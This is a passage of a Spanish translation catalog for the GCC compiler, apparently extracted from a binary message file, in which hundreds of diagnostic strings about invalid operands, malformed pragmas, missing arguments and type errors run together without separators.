%%Y inválidooperando %%c inválidooperando %%d inválidovalor %%d inválidooperando %%f inválidovalor %%f inválidovalor %%h inválidocódigo %%j inválidovalor %%j inválidovalor %%k inválidovalor %%m inválidovalor %%p inválidovalor %%q inválidovalor %%r inválidooperando %%s inválidovalor %%s inválidovalor %%t%%b inválidovalor %%u inválidovalor %%v inválidovalor %%x inválidocódigo %%xn inválidovalor %%y inválido, pruebe usando la restricción 'Z''asm' inválido: operandos (punteros) inválidos para más/menosvalor de --param %qs inválidoopción de ABI inválida: -mabi=%sse especificó un tipo AE inválido (%s)
declaración GIMPLE inválidaargumento IACC inválidoLHS inválido en la llamada gimplePC inválido en la tabla de números de líneaUNSPEC inválido como operandoreemplazo de registro Z inválido para la insntipo abstracto de devolución inválido para la función %q+#Dtipo abstracto de devolución inválido para la función miembro %q+#Dtipo abstracto %qT inválido para %qEtipo abstracto inválido para %q+Dacceso inválido a datos del miembro que no es static %qD  del objeto NULLacceso inválido a datos del miembro que no es static %qD del objeto NULLdirección inválidaalineación inválida para %<#pragma align%>, se descartaaplicación inválida de %<__alignof%> a un campo de bitsaplicación inválida de %<sizeof%> a un campo de bitsaplicación inválida de %<sizeof%> a un tipo de funciónaplicación inválida de %qs a una función miembroaplicación inválida de %qs a un tipo voidaplicación inválida de %qs a un tipo de dato incompleto %qT argumento inválido %qs para -fdebug-prefix-mapargumento inválido del atributo %qsargumento inválido para %<__builtin_frame_address%>argumento inválido para %<__builtin_return_address%>argumento inválido para la función internaasignación de matriz inválidaespecificación de clase base inválidaramificación inválida desde/para un bloque estructurado OpenMPconversión inválida del tipo %qT al tipo %qTconversión inválida de una expresión r-valuada de tipo %qT al tipo %qTconversión inválida al tipo de función %qToperando condicional inválidoconst_cast inválido del tipo %qT al tipo %qTconst_cast inválido de un valor-r de tipo %qT al tipo %qToperando const_double inválidoconstante inválida en %<#pragma pack%> - descartadaconstante inválida en %<#pragma pop_macro%> - descartadaconstante inválida en %<#pragma push_macro%> - descartadarestricciones inválidas para el operandoconstructor inválido; tal vez quiso decir %<%T (const %T&)%>predicado controlador inválidoconversión inválida de %<__fpreg%>conversión inválida de %qT a %qTconversión inválida en la llamada gimpleconversión inválida en la declaración returnconversión inválida a %<__fpreg%>conversión inválida del tipo %qT a partir del tipo %qTtipo de devolución covariante inválido para %q+#Dargumento por defecto inválido para una plantilla de parámetro de plantilladefinición inválida del tipo calificado %qTentrada inválida a un bloque estructurado OpenMPsalida inválida de un bloque estructurado OpenMPexpresión inválida como operandoexpresión inválida para el l-valor mintipo de expresión inválido para %<#pragma omp atomic%>abi de coma flotante inválida: -mfloat-abi=%sopción de emulación de coma flotante inválida: -mfpe-%sopción de coma flotante inválida: -mfpu-%sdeclaración de función inválidafunción inválida en la declaración callinicialización en la clase inválida para el miembro de datos static de tipo %qT que no es integralexpresión de incremento inválidavalor inicial inválido para el miembro %qsinicialización inválida de una referencia que no es constante de tipo %qT desde un temporal de tipo %qTinicialización inválida de la referencia de tipo %qT desde una expresión de tipo %qTinicializador inválidoinsn inválida:l-valor inválido en la salida asm %dmáscara inválidadeclaración de la función miembro inválidadeclaración de la plantilla miembro %qD inválidacódigo de operando '%c' inválidooperando inválido para el modificador 'A'operando inválido para el modificador 'D'operando inválido para el modificador 'H'operando inválido para el modificador 'O'operando inválido para el modificador 'T'operando inválido para el modificador 'b'operando inválido para el modificador 'e'operando inválido para el modificador 'm'operando inválido para el modificador 'o'operador inválido para el modificador 'p'operando inválido para el modificador 'z'operando inválido para el código '%c'operando inválido para code: '%c'operando inválido en la referencia indirectaoperando inválido en la declaración returnoperando inválido en la instrucciónoperando inválido en la expresión unariaoperando inválido en la operación unariamodificador de letra de operando inválidooperando inválido en el código de salidaoperando inválido para el código %%H%%Loperando inválido para el código %%Noperando inválido para %%Roperando inválido para el código %%Roperando inválido para %%Soperador inválido para el código %%T/%%Boperando inválido para el código %%Uoperando inválido para el código %%Voperador inválido para el código %%poperando inválido para el código %%soperando inválido para más/menos, el tipo es un punterooperando inválido para puntero más, el primer operando no es un punterooperando inválido para puntero más, el segundo operando no es un entero con tipo sizetype.operando inválido para la declaración switchoperandos inválidos en la operación binariaoperandos inválidos en la comparación gimpleoperadores inválidos de tipos %qT y %qT para el binario %qOoperandos inválidos en la referencia de matrizoperandos inválidos para el binario %s (se tiene %qT y %qT)operación inválida en %<__fpreg%>operador inválido para %<#pragma omp atomic%>argumento de opción %qs inválidoopción inválida para -mfloat-gprs: '%s'el parámetro %qs es inválidocombinación de parámetros inválida para el intrínseco AltiVectipo de parámetro %qT inválidomodo de puntero %qs inválidopuntero inválido al campo de bits %qDposición o tamaño de operando inválido para BIT_FIELD_REFpuntuación %qc inválida en la restricciónestado const pure inválido para la funcióncalificadores inválidos en el tipo de función que no es miembroámbito calificador inválido en el nombre del seudo-destructortipo receptor %qs inválidoredeclaración inválida de %q+Dprefijo de referencia inválidoregistro inválido en la instrucciónregistro inválido en la instrucción movenombre de registro inválido para %q+Drhs inválido para el almacenamiento de memoria gimpleinsn rotate inválidase encontró una compartición de rtl inválida en la insngénero de calendarizador inválidoel segundo argumento para %<__builtin_prefetch%> es inválido; se usa cerooperando de desplazamiento inválidostatic_cast inválido del tipo %qT al tipo %qTclase de almacenamiento inválida para la función %qsvalor de memregs objetivo '%d' inválidodeclaración de la plantilla de %qD inválidael tercer argumento para %<__builtin_prefetch%> es inválido; se usa ceroopción de puntero a hilo inválida: -mtp=%stipo %<void%> inválido para newtipo %qT inválido como inicializador para un vector de tipo %qTel tipo inválido %qT se declaró %<friend%>argumento de tipo inválidoargumento de tipo inválido de %qsargumento de tipo inválido de %qs (se tiene %qT)tipo inválido para la variable de iteración %qEtipos inválidos %<%T[%T]%> para índice de matriztipos inválidos en la conversión a coma flotantetipos inválidos en la conversión a enterotipos inválidos en la conversión de coma fijatipos inválidos en la conversión nopuso inválido de %%d, %%x, o %%Xuso inválido de %<::%>uso inválido de %<auto%>uso inválido de %<auto%> en el operador de conversiónuso inválido de %<restrict%>uso inválido de %<this%> en el nivel principaluso inválido de %<this%> en la función que no es miembrouso inválido de %qDuso inválido de %qE para formar una función puntero a miembrouso inválido de %qs en puntero a miembrouso inválido de '%%%c'uso inválido del modificador ':'uso inválido de una expresión Booleana como operando para %<operator--%>uso inválido de un puntero a un tipo incompleto en aritmética de punterosuso inválido de matrices con límites sin especificaruso inválido de const_cast con tipo %qT, el cual es un puntero o referencia a un tipo de funciónuso inválido de const_cast con tipo %qT, que no es puntero, referencia, ni un tipo puntero-a-datos-miembrouso inválido de un miembro de matriz flexibleuso inválido del typedef incompleto %qDuso inválido del miembro %q+D en la función miembro staticuso inválido de matriz no-lvaluadauso inválido del dato miembro %q+D que no es staticuso inválido del dato miembro no static %qDuso inválido de una función miembro que no es staticuso inválido de la función miembro no static %qDuso inválido del dato miembro no static %qEuso inválido de la expresión de expansión de paqueteuso inválido del nombre calificado %<%D::%D%>uso inválido del nombre calificado %<%T::%D%>uso inválido del nombre calificado %<::%D%>uso inválido de una estructura con un miembro de matriz flexibleuso inválido del id de plantilla %qD en la declaración de la plantilla primariauso inválido del tipo %qT como un valor por defecto para una plantilla de parámetro de plantillauso inválido del tipo indefinido %<%s %E%>uso inválido de la expresión voidinicialización por valor inválida de los tipos de referenciatipo de vector inválido para el atributo %qEnúmero de versión `%s' inválidoinvoke[no-estático] en un método estáticoinvokestatic en un método abstractoinvokestatic en un método no estáticodebe ser la dirección de una función con enlace externola variable de iteración %qD no debe ser firstprivatela variable de iteración %qD no debe ser reductionla variable de iteración %qs debe ser privatela variable de iteración %qs no debe ser firstprivatela variable de iteración %qs no debe ser reductionel iterador que termina en %L no simplificael iterador que inicia en %L no simplificael paso de iterador en %L no simplificasu dest_idx debería ser %d, no %dsu ámbito es solamente esta definición o declaración, lo cual probablemente no es lo que deseael abi iwmmxt requiere un cpu capaz de iwmmxtiwmmxt requiere una ABI compatible con AAPCS para una operación adecuadajcf-dump: no se especificaron clases
omisión del salto desactivadosalto al ámbito de un identificador con tipo modificado variablementesalto a una expresión de declaraciónsalto a la etiqueta casesalto a la etiqueta %q+Dsalto a la etiqueta %qDbasura al final de #pragma %sbasura al final del #pragma GCC java_exceptionsbasura al final de #pragma GCC memregs [0..16]basura al final del #pragma ghs endsdabasura al final del #pragma ghs endtdabasura al final del #pragma ghs endzdabasura al final del #pragma ghs interruptbasura al final de la sección #pragma ghsbasura al final del #pragma ghs startsdabasura al final del #pragma ghs starttdabasura al final del #pragma ghs startzdabasura al final de #pragma longcallbasura al final de %<#pragma GCC visibility%>basura al final de %<#pragma align%>basura al final de %<#pragma extern_prefix%>basura al final de %<#pragma fini%>basura al final de %<#pragma init%>basura al final de %<#pragma message%>basura al final de %<#pragma pack%>basura al final de %<#pragma pop_macro%>basura al final de %<#pragma pop_options%>basura al final de %<#pragma push_macro%>basura al final de %<#pragma push_options%>basura al final de %<#pragma redefine_extname%>basura al final de %<#pragma reset_options%>basura al final de %<#pragma weak%>basura al final de '#pragma ms_struct'basura al final de '#pragma options'basura al final de '#pragma unused'basura al final de la cadena de firmano se admite la palabra clave %<export%>, y se descartaráetiqueta se declara la etiqueta %q+D pero no está definidase define la etiqueta %q+D pero no se usase usa la etiqueta %q+D pero no está definidala etiqueta %qE es referenciada fuera de cualquier funciónetiqueta al final de una declaración compuestaetiqueta nombrada wchar_trevisión lang_*: falló en %s, en %s:%dno se reconoce el lenguaje %sno se reconoce la cadena de lenguaje %<"%E"%>constante de coma fija grande truncada implícitamente al tipo de coma fijaentero grande truncado implícitamente al tipo unsignedel último argumento debe ser un inmediatola disposición de clases derivadas de la clase vacía %qT puede cambiar en una versión futura de GCCld devolvió el estado de salida %dprecisión izquierdaprecisión izquierda en formato strfmonla cuenta de rotación izquierda >= anchura del tipola cuenta de rotación izquierda es negativacuenta de desplazamiento a la izquierda >= anchura del tipola cuenta de desplazamiento a la izquierda es negativael operador del lado izquierdo de la expresión coma no tiene efectomodificador de longitudmodificador de longitud en formato printfmodificador de longitud en formato scanfmodificador de longitud en formato strfmonbibliotecas: %s
se redeclara la función de biblioteca %q#D como %q#D que no es funciónno se encontró la biblioteca lib%slo_sum no de un registrola clase local %q#T no debe tener datos miembro static %q#Dla declaración local de %qs oculta la variable de instancialos requerimientos de memoria para variables locales excede la capacidad%<%s%> lógico con una constante diferente de cero siempre se evaluará como verdaderola constante long long no es un operando inmediato válidouso inválido de long, short, signed ó unsigned para %qsel encabezado del ciclo %d no pertenece directamente a élel encabezado del ciclo %d no tiene exactamente 2 entradasel cerrojo del ciclo %d no pertenece directamente a élel cerrojo del ciclo %d no tiene exactamente 1 sucesorel cerrojo del ciclo %d no tiene un encabezado como sucesorel cerrojo del ciclo %d está marcado como parte de una región irreducibleespecificador throw más flexible para %q+#Fel valor inferior de la etiqueta de rango `case' es menor que el valor mínimo para el tipose requiere un l-valor como un operando de decrementose requiere un l-valor como un operando de incrementose requiere un l-valor como operando izquierdo de la asignaciónse requiere un l-valor como un operador unario %<&%>se requiere un l-valor en la declaración asmfalta el nombre de macro después de %qsse hace %qD static#pragma GCC visibility push malformado#pragma builtin malformado#pragma extern_prefix malformado, descartado#pragma ghs section malformado#pragma redefine_extname malformado, descartado#pragma weak malformado, descartado%<#pragma align%> malformado%<#pragma align%> mal formado - se descarta%<#pragma fini%> malformado'%<#pragma fini%> malformado, se descarta%<#pragma init%> malformado'%<#pragma init%> malformado, se descarta%<#pragma message%> malformado, se descarta%<#pragma pack%> mal formado - descartado%<#pragma pack(pop[, id], <n>)%> mal formado - descartado%<#pragma pack(push[, id], <n>)%> mal formado - descartado'#pragma ms_struct {on|off|reset}' malformado, se descarta'#pragma ms_struct' malformado, se descarta'#pragma options align={mac68k|power|reset}' malformado, se descarta'#pragma options' malformado, se descartaargumentos de la función de especificación malformadosnombre de la función de especificación malformadodecodificando %Cdecodificando la expresión newse decodifica typeof, utilice decltype en su lugarse decodifica el tipo de coma fija desconocidola máscara debe ser un inmediatola región maestra puede no estar bien anidada dentro de la región de trabajo compartido o de tarea explícitala restricción coincidente no permite un registrola restricción coincidente no es válida en el operando de salidala restricción de coincidencia hace referencia a un número de operando no válidonúmero máximo de bloques básicos en el ciclo para el movimiento invariante de ciclonúmero de ciclos máximo para el RA regionaltamaño máximo de la tabla de conflictos en MBel valor máximo del parámetro %qs es %uno se pueden usar -EB y -EL al mismo tiempono se pueden usar -m32 y -m64 al mismo tiempolas funciones de medios no están disponibles a menos que se use -mmediano se permite el miembro %q+#D con constructor en un agregado anónimono se permite el miembro %q+#D con constructor en la unionno se permite el miembro %q+#D con operador de asignación de copia en un agregado anónimono se permite el miembro %q+#D con operador de asignación de copia en la unionno se permite el miembro %q+#D con destructor en un agregado anónimono se permite el miembro %q+#D con destructor en la unionel miembro %qD no se puede declarar como virtual y static al mismo tiempoel miembro %qD genera un conflicto con el nombre de campo de la tabla de funciones virtualesel miembro %qD se declaró como friend antes de definir el tipo %qTel miembro %qD es una referencia sin inicializarmiembro %qD con campos const sin inicializarlas funciones miembros son implícitamente friends de su clasela entrada de memoria %d no es directamente direccionableno se encontró el método '%s' en la clasela declaración de método no está en el contexto @interfaceno se encontró la definición de método para %<%c%s%>la definición de método no está en el contexto @implementationposiblemente el método carece de una llamada [super dealloc]el valor mínimo del parámetro %qs es %uanálisis de perfil de las funciones mips16se llamó a mips_debuger_offset con un puntero que no es stack/frame/argno coinciden las longitudes de los paquetes de argumentos al expandir %<%E%>no coinciden las longitudes de los paquetes de argumentos al expandir %<%T%>no coinciden los argumentosno coincide la firma para el campo '%s' en '%s'atributo ConstantValue mal colocado (no está en ningún campo)falta el operando numérico $ en el formatofalta un %<(%> después de %<#pragma GCC visibility push%> - descartadofalta un %<(%> después de %<#pragma pack%> - descartadofalta un %<(%> después de %<#pragma pop_macro%> - descartadofalta un %<(%> después de %<#pragma push_macro%> - descartadofalta un %<)%> después de %<#pragma pop_macro%> - descartadofalta un %<)%> después de %<#pragma push_macro%> - descartadofalta un '(' después de '#pragma unused', se descartafalta un '(' después de '#pragma unused', se descartafalta el atributo Codefalta la definición PHIfalta la nota REG_EH_REGION al final de bb %ifalta [error|warning|ignored] después de %<#pragma GCC diagnostic%>falta un argumento en %<__builtin_args_info%>faltan argumentos para "%s"faltan argumentos para "-%s"faltan argumentos para la opción '%s'falta una barrera después del bloque %ifaltan llaves alrededor del inicializadorfaltan llaves alrededor del inicializador para %qTfalta el borde de callgraph para la llamada stmt:falta la llave final para el operando nombradofalta el paréntesis finalfalta el predicado controladorfalta la definiciónfalta el borde %i->%ifalta el campo '%s' en '%s'falta un nombre de fichero después de %qsfalta el carácter de relleno al final del formato strfmonfalta la expresión de incrementofalta el inicializadorfalta el inicializador para el miembro %qDfalta un fichero make objetivo después de %qsfalta el númerofalta el paréntesis inicialfalta un operandofalta una opción después del tipo %<#pragma GCC diagnostic%>falta una ruta después de %qsfalta un centinela en la llamada a la funciónfalta el carácter terminando %cfalta el nombre del tipo en la declaración typedefse mezclan %'catch%'es de C++ y Java en una sola unidad de traducción-mno-cygwin y -mno-win32 no son compatiblesse aplicó el modo %qs a un tipo inapropiadoel modo de precisión del resultado que no es integral no coincide con el tamaño del campo de BIT_FIELD_REFmás de %d operandos en %<asm%>no se maneja move insnms-bitfields no se admite para objclos atributos ms_abi y sysv_abi no son compatiblesel atributo ms_abi requiere -maccumulate-outgoing-args o que la optimización de subobjetivo lo impliquemudflap no puede seguir a %qs en la función stubmudflap no puede seguir al extern %qs de tamaño desconocidono se ha implementado la revisión mudflap para ARRAY_RANGE_REFmudflap: este lenguaje no se admiteuna matriz multidimensional debe tener límites para todas las dimensiones excepto para la primerala exclusión multilib '%s' es inválidalas exclusiones multilib '%s' son inválidasla selección multilib '%s' es inválidala especificación multilib '%s' es inválidase encontraron múltiples %s nombrados %<%c%s%>múltiples etiquetas por defecto en un solo switchdefinición múltiple de %q#Tmúltiples campos inicializados en la unión %qTse especificaron múltiples atributos de tipo de funciónse encontraron múltiples transiciones caliente/frío (bb %i)múltiples llamantes inlineno se permiten atributos interrupt múltiplesmúltiples parámetros nombrados %q+Dmúltiples clases de almacenamiento en la declaración de %qsmúltiples clases de almacenamiento en los especificadores de declaracióntipos múltiples en una declaraciónse debe hacer #include <typeinfo> antes de usar typeidse debe usar %<.*%> o %<->*%> en la llamada a la función puntero-a-miembro en %<%E (...)%>, p.e. %<(... ->* %E) (...)%>uso de mvcleinformación de repositorio misteriosa en %sel nombre %qD se utiliza en un inicializador designado en estilo GNU para una matrizel nombre %qT tiene tipo de dato incompletola búsqueda de nombre de %qD cambióla búsqueda de nombre de %qD cambió por el nuevo alcance ISO de %<for%>falta el nombre para la función miembroel nombre de la clase oscurece la plantilla de parámetro de plantilla %qDse usó un nombre en un inicializador designado de estilo GNU para una matrizel bloque DO nombrado en %L requiere un nombre ENDDO coincidenteno se permite el espacio de nombres %qD en la declaración usingno se permite aquí el alias del espacio de nombres %qD, se asume que es %qDlos agregados anónimos de alcance de espacio de nombres deben ser staticconversión estrechadora de %qE desde %qT a %qT dentro de { }se necesita insertar revisión en tiempo de ejecución para %slongitud de insn negativaentero negativo truncado implícitamente al tipo unsignedprofundidad de anidamiento negativa de la región %ianchura negativa en el campo de bits %q+Danchura negativa en el campo de bit %qsno se llamará ni al destructor ni al operador delete específico de la clase, aún si se declaran cuando se defina la clase.alternativas de dialecto ensamblador anidadasdeclaración externa anidada de %qDse declara la función anidada %q+D pero nunca se definela función anidada %qs se declaró %<extern%>las funciones anidadas están limitadas a 2 parámetros de registroredefinición anidada de %<enum %E%>redefinición anidada de %<struct %E%>redefinición anidada de %<union %E%>new no se puede aplicar a un tipo de funciónnew no se puede aplicar a un tipo de referenciadeclaración nueva %q#Dno se declaró %<%D(int)%> para el %qs postfijo, intentando en su lugar el operador prefijono se encontró el método %<%c%s%>no hay una función miembro %q#D declarada en la clase %qTno hay FUNCTION_PROFILER para CRISsin argumentosno hay argumentos para la función de especificaciónno se especificó un nombre de clase con %qsno hay una plantilla de clase llamada %q#T en %q#Tno hay un %<]%> que cierre para el formato %<%%[%>no existe una función de desalojo correspondiente para %qDno se encontró cobertura para la función %qsno hay tipo de datos para el modo %qsno hay un argumento por defecto para %qDsin descripción aúnno existe el campo %qD en la union que se está inicializandono hay una lista immediate_useno se especificaron ficheros de entradano hay ficheros de entradano hay ficheros de entrada; incapaz de escribir ficheros de salidaningún tipo integral puede representar todos los valores de enumerador de %qTno hay registros inferiores disponibles para extraer registros superioresno hay coincidencia para la llamada a %<(%T) (%A)%>no hay coincidencias al convertir la función %qD al tipo %q#Tno hay una función coincidente para la llamada a %<%D(%A)%>no se encontró una función coincidente para la llamada a %<%T::%s(%A)%#V%>no hay un push coincidente para %<#pragma GCC visibility pop%>no se encontró una plantilla coincidente para %qDla función no miembro %qD se declaró en %qTno hay miembros que coincidan con %<%T::%D%> en %q#Tno hay declaración previa para %q+Dno hay un prototipo previo para %q+Dno existe el tipo de procesador especificado para enlazarno hay análisis de perfil del código de 64-bit para esta ABIno hay registro en la direcciónno hay una declaración de devolución en la función que no devuelve voidno hay sclass para el stab %s (0x%x)no hay punto y coma al final del struct o unionno hay un %<operator %s%> adecuado para %qTno se encontró un %qD adecuado en la clase %qTno se declaró una super clase en @interface para %qsno se declaró una super clase en la interfaz para %qsno hay un impositor único final para %qD en %qTno se encontró un nodo en cgraph_hashse encontraron nodos sin memoria liberadavariable no direccionable dentro de un conjunto de aliasargumento %u entero que no es constante en la llamada a la función %qEvalor DATA que no es constante en %Lmatriz no constante en la declaración DATA %Ltamaño de matriz no constante en new, no se puede verificar la longitud de la lista del inicializadorcondición que no es constante para una aserción estáticala función %q+D que no se borróargumento que no es de coma flotante en la llamada a la función %qEargumentos que no son de coma flotante en la llamada a la función %qEno es función en la llamada gimplese usó un no integral en la condiciónla función %q#D que no es local usa un tipo anónimola función %q#D que no es local utiliza el tipo local %qTla variable %q#D que no es local usa un tipo anónimola variable %q#D que no es local usa el tipo local %qTmatriz no-lvaluada en la expresión condicionalel no-miembro %qs no se puede declarar %<mutable%>la función que no es miembro %qD no puede tener calificador-cvla entrada que no es de memoria %d debe permanecer en memoriael miembro que no es objeto %qs no se puede declarar %<mutable%>%qs que no es parámetro no puede ser un paquete de parámetroel LHS de una operación binaria no es un registroel LHS de una operación unaria no es un registrosufijo no estándar en una constante de coma flotanteel miembro const %q#D que no es static, no puede usar el operador de asignación por defectomiembro const %q+#D que no es static en una clase sin un constructorel dato miembro que no es estático %qD tiene un tipo de clase Javadeclaración que no es static de %q+D después de una declaración staticinicialización no estática de un miembro de matriz flexibleel método %q+D que no es estático anula al método estáticoreferencia %q+#D que no es static en una clase sin un constructorel miembro de referencia %q#D que no es static, no puede usar el operador de asignación por defectose usa el tipo %qT que no es plantilla como una plantilladeclaración que no es thread-local de %q+D después de una declaración thread-localconversión que no es trivial en la asignaciónconversión que no es trivial en la operación unariano se admiten los inicializadores designados como no trivialesíndice de matriz no constante en el inicializadorlista de salidas no vacía del ciclo %d, pero no se graban las salidasetiqueta no local un argumento que no es nulo tiene un número de operando inválido (argumento %lu)un argumento que no es nulo hace referencia a un operando que no es puntero (argumento %lu, operando %lu)un argumento que no es nulo con número de operando fuera de rango (argumento %lu, operando %lu)un atributo que no es nulo sin argumento es un atributo que no es prototipono es un fichero .class de Java válidono se configuró para ABI: '%s'no se configuró con el sufijo de encabezados sysrootno hay suficientes ciclos DO para los !$OMP DO colapsados en %Lfaltan argumentos para la función %qEno hay suficientes ciclos perfectamente anidadosno hay suficiente información de tipono hay suficientes argumentos variables para ajustar un centinelano se protegen la función: no hay un almacenamiento temporal de por lo menos %d bytes de tamañono se protegen las variables locales: almacenamiento temporal de longitud variableno se ha implementado aún: raíz cuadrada incluída en línea optimizada para latencianota: argumento nulo donde se requiere uno que no sea nulo (argumento %lu)la expresión num_threads debe ser integralel número debe ser 0 ó 1el número de argumentos no coinciden con el prototipo internoel número de argumentos no coinciden con el prototipoel número de notas bb en la cadena insn (%d) != n_basic_blocks (%d)el número de componentes del vector no es una potencia de dosel número de contadores es %d en lugar de %del objeto %qE de tipo incompleto %qT no se accederá en %sfalta un objeto en la referencia a %q+Dfalta un objeto en el uso de %qEel objeto de tipo incompleto %qT no se accederá en %sel objeto de tipo %qT no se accederá en %sel tipo de objeto %qT no coincide con el nombre del destructor ~%qTun objeto con tipo modificado variablemente no debe tener enlazadose usó la opción obsoleta -I-, por favor utilice -iquote en su lugaruso obsoleto del inicializador designado con %<:%>uso obsoleto del inicializador designado sin %<=%>el desplazamiento de %q+D no cumple con la ABI y puede cambiar en una versión futura de GCCel desplazamiento de la base vacía %qT puede no cumplir con la ABI y puede cambiar en una versión futura de GCCel desplazamiento de la base virtual %qT no cumple con la ABI y puede cambiar en una versión futura de GCCel desplazamiento fuera de los límites de la constante de cadenase omitió el operando de enmedio de %<?%>: no se puede revolver el operandosolamente las declaraciones de constructores pueden ser %<explicit%>sólo las variables inicializadas se pueden ubicar en el área de memoria del programasólo las variables sin inicializar se pueden colocar en una sección .bssSólo las variables sin inicializar se pueden colocar en la sección .noinitsólo se admiten los aliases weak en esta configuraciónno se pueden inicializar los tipos de vector opacosopen /dev/zero: %mabriendo el fichero de dependencias %s: %mabriendo el fichero de salida %s: %mse abre el fichero de salida %s: %sel operando 1 debe ser un registro fijola restriccion de operando contiene %<+%> ó %<=%> en una posición incorrectalas restricciones de operandos para %<asm%> difieren en el número de alternativasel operando no es una constante ni un código de condición, código de operando 'C' inválidoel operando no es una constante ni un código de condición, código de operando 'F' inválidoel operando no es una constante ni un código de condición, código de operando 'c' inválidoel operando no es una constante ni un código de condición, código de operando 'f' inválidoel operando no es un código de condición, código de operando 'D' inválidofalta un número operando después de %%-letranúmero operando fuera de rangooperando numérico fuera de rango en el formatoel número de operandos especificados para el formato no toma argumentosse especificó un número de operandos con asignación suprimidalos operandos de ?: tienen tipos diferentes %qT y %qTla operación sobre %qE puede estar indefinidala optimización puede eliminar lecturas y/o escrituras a variables de registrose optimiza para tamaño y el tamaño del código podría crecerya se había especificado option("%s")opciones activadas: opciones pasadas: comparación ordenada de puntero con el entero cerola región ordenada puede no estar bien anidada dentro de la región crítica o de tarea explícitala región ordenada puede estar bien anidada dentro de una región de ciclo con una cláusula ordenadaoriginalmente la llamada indirecta a función no se considera para la inclusión en líneamemoria agotadael bloque más externo de la región %i es erróneola restricción de salida %d no se puede especificar junto con la sobreescritura "%s"la restricción de salida %d debe especificar un solo registrola restricción de salida %qc para el operando %d no está al iniciose especificó dos veces el nombre del fichero de salidael número de salida %d no es directamente direccionableel operando de salida %d debe usar la restricción %<&%>la restricción de operando de salida carece de %<=%>el operando de salida es constante en %<asm%>los registros de salida deben ser agrupados en la parte superior de la pilaoutput_move_single:desbordamiento en la dimensión de la matrizdesbordamiento en la expresión constantedesbordamiento en valores de enumeracióndesbordamiento en valores de enumeración en %qDdesbordamiento en la conversión implícita de constantelista de argumentos de salida desbordada para '%s'se sobreescribe la función borrada %q+Dse sobreescribe la función %q+D que no se borróel atributo packed causa una alineación ineficienteel atributo packed causa una alineación ineficiente para %q+Del atributo packed causa una alineación ineficiente para %qsno es necesario el atributo packedel atributo packed es innecesario para %q+Del atributo packed es innecesario para %qstamaño de la estructura de relleno para los límites de alineaciónestructura de relleno para alinear %q+Del parámetro %P tiene el tipo incompleto %qTel parámetro %P de %qD tiene el tipo incompleto %qTel parámetro %q+D se declaró %<inline%>el parámetro %q+D se declaró con tipo voidel parámetro %q+D tiene tipo incompletoel parámetro %q+D sólo tiene una declaración posteriorel parámetro %qD se declaró voidel parámetro %qD tiene tipo de clase Javael parámetro %qD incluye %s para la matriz %qT de límite desconocidoel parámetro %qD se declaró inválidamente como tipo de métodoel parámetro %qD está inicializadoel parámetro %u (%q+D) tiene tipo incompletoel parámetro %u (%q+D) tiene tipo voidel parámetro se declaró %<auto%>la lista de parámetros no ofrece una firma válida para %s()el parámetro puede no tener el tipo modificado variablemente %qTnombres de parámetros (sin tipos) en la declaración de la funciónel parámetro de paquete %qE debe estar al final de la lista de parámetros de plantillael parámetro de paquete %qT debe estar al final de la lista de parámetros de plantillael argumento de paquete de parámetro %qE debe estar al final de la lista de argumentos de plantillael argumento de paquete de parámetro %qT debe estar al final de la lista de argumentos de plantillalos paquetes de parámetros deben estar al final de la lista de parámetrosno se expanden los paquetes de parámetro con %<...%>no se pueden usar paréntesis alrededor de %qE para formar una función-puntero-a-miembrono se permite la inicialización entre paréntesis para el ciclo %<for%> en OpenMPla especialización parcial %qT se declaró %<friend%>la especialización parcial %qT no especializa ningún argumento de plantillapasar %qT como el argumento %<this%> de %q#D descarta a los calificadoresal pasar %qT se escoge %qT sobre %qTse pasó NULL al argumento %P de %qD que no es punteroel paso del argumento %d de %qE descarta los calificadores del tipo del destino del punterose pasa el argumento %d de %qE como %<float%> en lugar de %<double%> debido al prototipose pasa el argumento %d de %qE como %qT en lugar de %qT debido al prototipose pasa el argumento %d de %qE como complejo en lugar de coma flotante debido al prototipose pasa el argumento %d de %qE como complejo en lugar de entero debido al prototipose pasa el argumento %d de %qE como coma flotante en lugar de complejo debido al prototipose pasa el argumento %d de %qE como coma flotante en lugar de entero debido al prototipose pasa el argumento %d de %qE como entero en lugar de complejo debido al prototipose pasa el argumento %d de %qE como entero en lugar de coma flotante debido al prototipose pasa el argumento %d de %qE como signed debido al prototipose pasa el argumento %d de %qE como unsigned debido al prototipoel paso del argumento %d de %qE descarta los calificadores del tipo del destino del punterose pasa el argumento %d de %qE desde un tipo Objective-C distintose pasa el argumento %d de %qE desde un tipo de puntero incompatibleel paso del argumento %d de %qE crea un entero desde un puntero sin una conversiónel paso del argumento %d de %qE crea un puntero desde un entero sin una conversiónel paso del argumento %d de %qE hace que la función calificada apunte desde una no calificadase pasa el argumento %d de %qE con anchura diferente debido al prototipoaún no se admite el paso de argumentos de coma flotante en registros fppc%d no es una opción de precisión válida (32, 64 u 80)el pragma pch_preprocess sólo se debe usar con -fpreprocessedavisoped: errorperm: falló pex_initpicochip_asm_output_opcode - Se encontraron múltiples líneas en el paquete VLIW %s
picochip_asm_output_opcode - no se puede mostrar el operador desconocido %c
picochip_print_memory_address - El operando no está basado en memoriano se permite la aritmética de punteros para los objetos capturados por el recolector de basuraasignación de punteroel puntero escapa pero su etiqueta de nombre no se sobreescribe en la llamadase usó un puntero de tipo %<void *%> en la aritméticase usó un puntero de tipo %<void *%> en la sustracciónel puntero que apunta en la asignación difiere en signoel puntero que apunta en la inicialización difiere en signoel puntero que apunta en el paso del argumento %d de %qE difiere en signoel puntero que apunta en la devolución difiere en signose usó un puntero a una función en la aritméticase utilizó un puntero a una función en la sustracciónpuntero a la conversión miembro a través de la base virtual %qTse usó un puntero a una función miembro en la aritméticael tipo de puntero a miembro %qT es incompatible con el tipo objeto %qTlos tipos de datos punteros no coinciden en la expresión condicionalse usó un valor de puntero donde se esperaba un complejose usó un valor de puntero donde se esperaba un valor de coma flotantela función puntero-a-miembro %E no se puede llamar dentro de un objeto; considere utilizar .* o ->*los tipos de datos punteros/enteros no coinciden en la expresión condicionalno se permite usar punteros como valores caselos punteros con una etiqueta de memoria, deben tener conjuntos punteros-ase detectó un posible problema en la invocación del operador delete:la dirección de post-incremento no es un registroel postfijo %qD debe tomar %<int%> como su argumentoel postfijo %qD debe tomar %<int%> como su segundo argumentoel postfijo %qD debe regresar %qTla dirección de pre-decremento no es un registrola dirección de pre-incremento no es un registroprecisiónprecisión en formato printfinstrucción de predicado Thumbinstrucción de predicado en una secuencia condicionalel prefijo %qD debe regresar %qTel prev_bb de %d debe ser %d, no %ddeclaración previa de %q+#D aquídeclaración previa de %q+Dla declaración previa de %q+#D usó %d parámetro(s) de plantilladeclaración previa de 